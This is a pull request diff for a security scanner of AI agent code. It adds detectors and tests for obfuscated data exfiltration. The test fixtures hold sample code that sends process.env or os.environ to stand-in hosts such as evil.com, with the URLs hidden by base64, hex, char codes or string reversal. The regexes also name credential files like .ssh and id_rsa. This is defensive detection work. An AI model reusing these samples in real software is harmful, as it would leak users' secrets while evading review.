Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 2 additions & 1 deletion scanner/package.json
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,8 @@
"build": "tsc",
"start": "node dist/index.js",
"dev": "tsx watch src/index.ts",
"scan": "tsx src/cli.ts"
"scan": "tsx src/cli.ts",
"test": "tsx --test src/**/*.test.ts"
},
"keywords": ["isnad", "scanner", "security", "ai", "agents"],
"license": "MIT",
Expand Down
98 changes: 98 additions & 0 deletions scanner/src/analyzer.obfuscation.test.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,98 @@
import assert from 'node:assert/strict';
import test from 'node:test';
import { analyzeContent } from './analyzer.js';

function ids(content: string): string[] {
return analyzeContent(content).findings.map(finding => finding.patternId);
}

test('detects base64-decoded URL exfiltration', () => {
const content = `
const endpoint = Buffer.from("aHR0cHM6Ly9ob29rcy5zbGFjay5jb20vc2VydmljZXMvVEVTVA==", "base64").toString("utf8");
await fetch(endpoint, { method: "POST", body: data });
`;
assert.equal(ids(content).includes('EXFIL_BASE64_URL_DECODE'), true);
});

test('detects hex-escaped URL literals used in network calls', () => {
const content = `
await fetch("\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x65\\x76\\x69\\x6c\\x2e\\x63\\x6f\\x6d\\x2f\\x68\\x69");
`;
assert.equal(ids(content).includes('EXFIL_HEX_URL_LITERAL'), true);
});

test('detects charcode-constructed URLs used for exfiltration', () => {
const content = `
const url = String.fromCharCode(104,116,116,112,115,58,47,47,101,120,102,105,108,46,115,105,116,101);
await axios.post(url, payload);
`;
assert.equal(ids(content).includes('EXFIL_CHARCODE_URL'), true);
});

test('detects reversed string URL obfuscation', () => {
const content = `
const endpoint = "moc.kcals.skooh//:sptth".split("").reverse().join("");
await fetch(endpoint);
`;
assert.equal(ids(content).includes('OBFUSC_REVERSED_STRING'), true);
});

test('detects concatenated URL construction', () => {
const content = `
const endpoint = "ht" + "tps://" + "evil" + ".example" + "/hook";
await fetch(endpoint);
`;
assert.equal(ids(content).includes('OBFUSC_URL_CONCAT'), true);
});

test('detects env harvesting with obfuscated transmission', () => {
const content = `
const dump = JSON.stringify(process.env);
const enc = Buffer.from(dump).toString("base64");
const url = "moc.kcals.skooh//:sptth".split("").reverse().join("");
await fetch(url + "/" + enc);
`;
assert.equal(ids(content).includes('EXFIL_ENV_OBFUSCATED_TRANSMISSION'), true);
});

test('detects python env harvesting with base64 transmit path', () => {
const content = `
import os, base64, requests
payload = base64.b64encode(str(dict(os.environ)).encode()).decode()
requests.post("https://example.com/ingest/" + payload)
`;
assert.equal(ids(content).includes('EXFIL_ENV_OBFUSCATED_TRANSMISSION'), true);
});

test('detects urllib3 env harvesting with reversed endpoint', () => {
const content = `
import os, urllib3
http = urllib3.PoolManager()
u = "moc.elpmaxe//:sptth"[::-1]
http.request("POST", u, body=str(os.environ))
`;
assert.equal(ids(content).includes('EXFIL_ENV_OBFUSCATED_TRANSMISSION'), true);
});

test('does not flag normal base64 content formatting as exfil url decode', () => {
const content = `
const pngHeader = Buffer.from("iVBORw0KGgoAAAANSUhEUg==", "base64");
console.log(pngHeader.length);
`;
assert.equal(ids(content).includes('EXFIL_BASE64_URL_DECODE'), false);
assert.equal(ids(content).includes('EXFIL_ENV_OBFUSCATED_TRANSMISSION'), false);
});

test('does not flag normal axios API usage as obfuscated exfiltration', () => {
const content = `
import axios from "axios";
const client = axios.create({ baseURL: "https://api.github.com" });
await client.get("/repos/octocat/Hello-World");
`;
const findingIds = ids(content);
assert.equal(findingIds.includes('EXFIL_CHARCODE_URL'), false);
assert.equal(findingIds.includes('EXFIL_HEX_URL_LITERAL'), false);
assert.equal(findingIds.includes('OBFUSC_REVERSED_STRING'), false);
assert.equal(findingIds.includes('OBFUSC_URL_CONCAT'), false);
assert.equal(findingIds.includes('EXFIL_ENV_OBFUSCATED_TRANSMISSION'), false);
});
88 changes: 84 additions & 4 deletions scanner/src/analyzer.ts
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@
* ISNAD Scanner - Static Analysis Engine
*/

import { DANGEROUS_PATTERNS, ALLOWLIST_PATTERNS, SAFE_DOMAINS, type Pattern } from './patterns.js';
import { DANGEROUS_PATTERNS, ALLOWLIST_PATTERNS, SAFE_DOMAINS } from './patterns.js';
import { createHash } from 'crypto';

export interface Finding {
Expand Down Expand Up @@ -48,6 +48,86 @@ const RISK_THRESHOLDS = {
low: 10
};

const OBFUSCATED_ENV_SIGNAL_IDS = new Set([
'EXFIL_BASE64_SEND',
'EXFIL_BASE64_URL_DECODE',
'EXFIL_HEX_URL_LITERAL',
'EXFIL_CHARCODE_URL',
'OBFUSC_HEX_STRING',
'OBFUSC_CHAR_CODE',
'OBFUSC_REVERSED_STRING',
'OBFUSC_URL_CONCAT'
]);

const ENV_HARVEST_PATTERNS = [
/process\.env\b/i,
/os\.environ\b/i,
/os\.getenv\s*\(/i,
/System\.getenv\s*\(/i
];

const NETWORK_TRANSMIT_PATTERN =
/\b(fetch\s*\(|axios\.(get|post|put|patch|delete)|requests\.(get|post|put|patch|delete)|urllib3\.[A-Za-z_]+\.request|https?\.request\s*\()/i;

const OBFUSCATION_HINT_PATTERN =
/(base64\.b64encode|Buffer\.from\(.*base64|atob\s*\(|\\x[0-9a-fA-F]{2}|String\.fromCharCode|\.split\(\s*['"`]['"`]\s*\)\.reverse\(\)\.join\(\s*['"`]['"`]\s*\)|\[\s*::\s*-1\s*\])/i;

function isAllowlistedLine(contextLine: string): boolean {
return ALLOWLIST_PATTERNS.some(allowPattern => {
const flags = allowPattern.flags.replaceAll('g', '');
return new RegExp(allowPattern.source, flags).test(contextLine);
});
}

function addObfuscatedEnvTransmissionFinding(content: string, lines: string[], findings: Finding[]): void {
const hasEnvHarvest = ENV_HARVEST_PATTERNS.some(pattern => pattern.test(content));
if (!hasEnvHarvest) {
return;
}

const hasNetworkTransmit = NETWORK_TRANSMIT_PATTERN.test(content);
if (!hasNetworkTransmit) {
return;
}

const hasObfuscatedSignal =
findings.some(finding => OBFUSCATED_ENV_SIGNAL_IDS.has(finding.patternId)) ||
OBFUSCATION_HINT_PATTERN.test(content);

if (!hasObfuscatedSignal) {
return;
}

if (findings.some(finding => finding.patternId === 'EXFIL_ENV_OBFUSCATED_TRANSMISSION')) {
return;
}

const line = findFirstLine(lines, ENV_HARVEST_PATTERNS);
const context = lines[line - 1] || '';

findings.push({
patternId: 'EXFIL_ENV_OBFUSCATED_TRANSMISSION',
name: 'Environment Harvest + Obfuscated Transmission',
description: 'Environment variable harvesting combined with obfuscated network transmission',
severity: 'critical',
category: 'exfiltration',
line,
column: 1,
match: 'env_harvest_obfuscated_transmission',
context: context.trim().substring(0, 200)
});
}

function findFirstLine(lines: string[], patterns: RegExp[]): number {
for (let index = 0; index < lines.length; index++) {
const line = lines[index];
if (patterns.some(pattern => pattern.test(line))) {
return index + 1;
}
}
return 1;
}

/**
* Analyze content for security issues
*/
Expand All @@ -72,9 +152,7 @@ export function analyzeContent(content: string, resourceHash?: string): Analysis
const contextLine = lines[lineNumber - 1] || '';

// Check if this is in an allowlisted context
const isAllowlisted = ALLOWLIST_PATTERNS.some(allowPattern =>
allowPattern.test(contextLine)
);
const isAllowlisted = isAllowlistedLine(contextLine);

if (!isAllowlisted) {
findings.push({
Expand All @@ -92,6 +170,8 @@ export function analyzeContent(content: string, resourceHash?: string): Analysis
}
}

addObfuscatedEnvTransmissionFinding(content, lines, findings);

// Calculate risk score
const summary = {
total: findings.length,
Expand Down
47 changes: 43 additions & 4 deletions scanner/src/patterns.ts
Original file line number Diff line number Diff line change
Expand Up @@ -71,6 +71,46 @@ export const DANGEROUS_PATTERNS: Pattern[] = [
pattern: /btoa\s*\(|Buffer\.from\(.*\)\.toString\s*\(\s*['"`]base64['"`]\s*\)/gi,
category: 'exfiltration'
},
{
id: 'EXFIL_BASE64_URL_DECODE',
name: 'Base64-decoded URL',
description: 'Decoding base64 payloads that look like URL strings',
severity: 'high',
pattern: /(atob|Buffer\.from)\s*\(\s*['"`]aHR0[0-9A-Za-z+/=]{12,}['"`](\s*,\s*['"`]base64['"`])?\s*\)/gi,
category: 'exfiltration'
},
{
id: 'EXFIL_HEX_URL_LITERAL',
name: 'Hex-escaped URL Literal',
description: 'Hex-escaped URL strings passed to network APIs',
severity: 'high',
pattern: /(fetch|axios\.(get|post|put|patch|delete)|requests\.(get|post|put|delete)|urllib3\.[A-Za-z_]+\.request|https?\.request)\s*\([^)]*\\x68\\x74\\x74\\x70/gi,
category: 'exfiltration'
},
{
id: 'EXFIL_CHARCODE_URL',
name: 'CharCode URL Construction',
description: 'URL components assembled from character codes',
severity: 'high',
pattern: /String\.fromCharCode\s*\([^)]{15,}\)/gi,
category: 'exfiltration'
},
{
id: 'OBFUSC_REVERSED_STRING',
name: 'Reversed String Obfuscation',
description: 'Suspicious reverse-join string decoding for hidden URLs',
severity: 'high',
pattern: /\.split\(\s*['"`]['"`]\s*\)\s*\.reverse\(\)\s*\.join\(\s*['"`]['"`]\s*\)/gi,
category: 'obfuscation'
},
{
id: 'OBFUSC_URL_CONCAT',
name: 'Concatenated URL Obfuscation',
description: 'Suspicious multi-part URL assembly by string concatenation',
severity: 'high',
pattern: /['"`]ht['"`]\s*\+\s*['"`]tps?:\/\/['"`]|['"`]https?:\/\/['"`]\s*\+\s*['"`][^'"`]{2,}['"`]/gi,
category: 'obfuscation'
},

// === HIGH: Credential access ===
{
Expand All @@ -86,7 +126,7 @@ export const DANGEROUS_PATTERNS: Pattern[] = [
name: 'Sensitive File Read',
description: 'Reading potentially sensitive files',
severity: 'high',
pattern: /(\.env|\.ssh|\.aws|credentials|\.netrc|\.npmrc|\.pypirc|id_rsa|id_ed25519)/gi,
pattern: /(?:^|[\\/\s'"`])(?:\.env(?:\.[\w.-]+)?|\.ssh|\.aws|credentials|\.netrc|\.npmrc|\.pypirc|id_rsa|id_ed25519)(?:$|[\\/\s'"`])/gi,
category: 'credential_access'
},
{
Expand Down Expand Up @@ -192,9 +232,8 @@ export const DANGEROUS_PATTERNS: Pattern[] = [
*/
export const ALLOWLIST_PATTERNS = [
// Common legitimate uses
/console\.(log|error|warn|info)/gi,
/JSON\.(parse|stringify)/gi,
/Math\.(random|floor|ceil)/gi,
/console\.(log|error|warn|info)/i,
/Math\.(random|floor|ceil)/i,
];

/**
Expand Down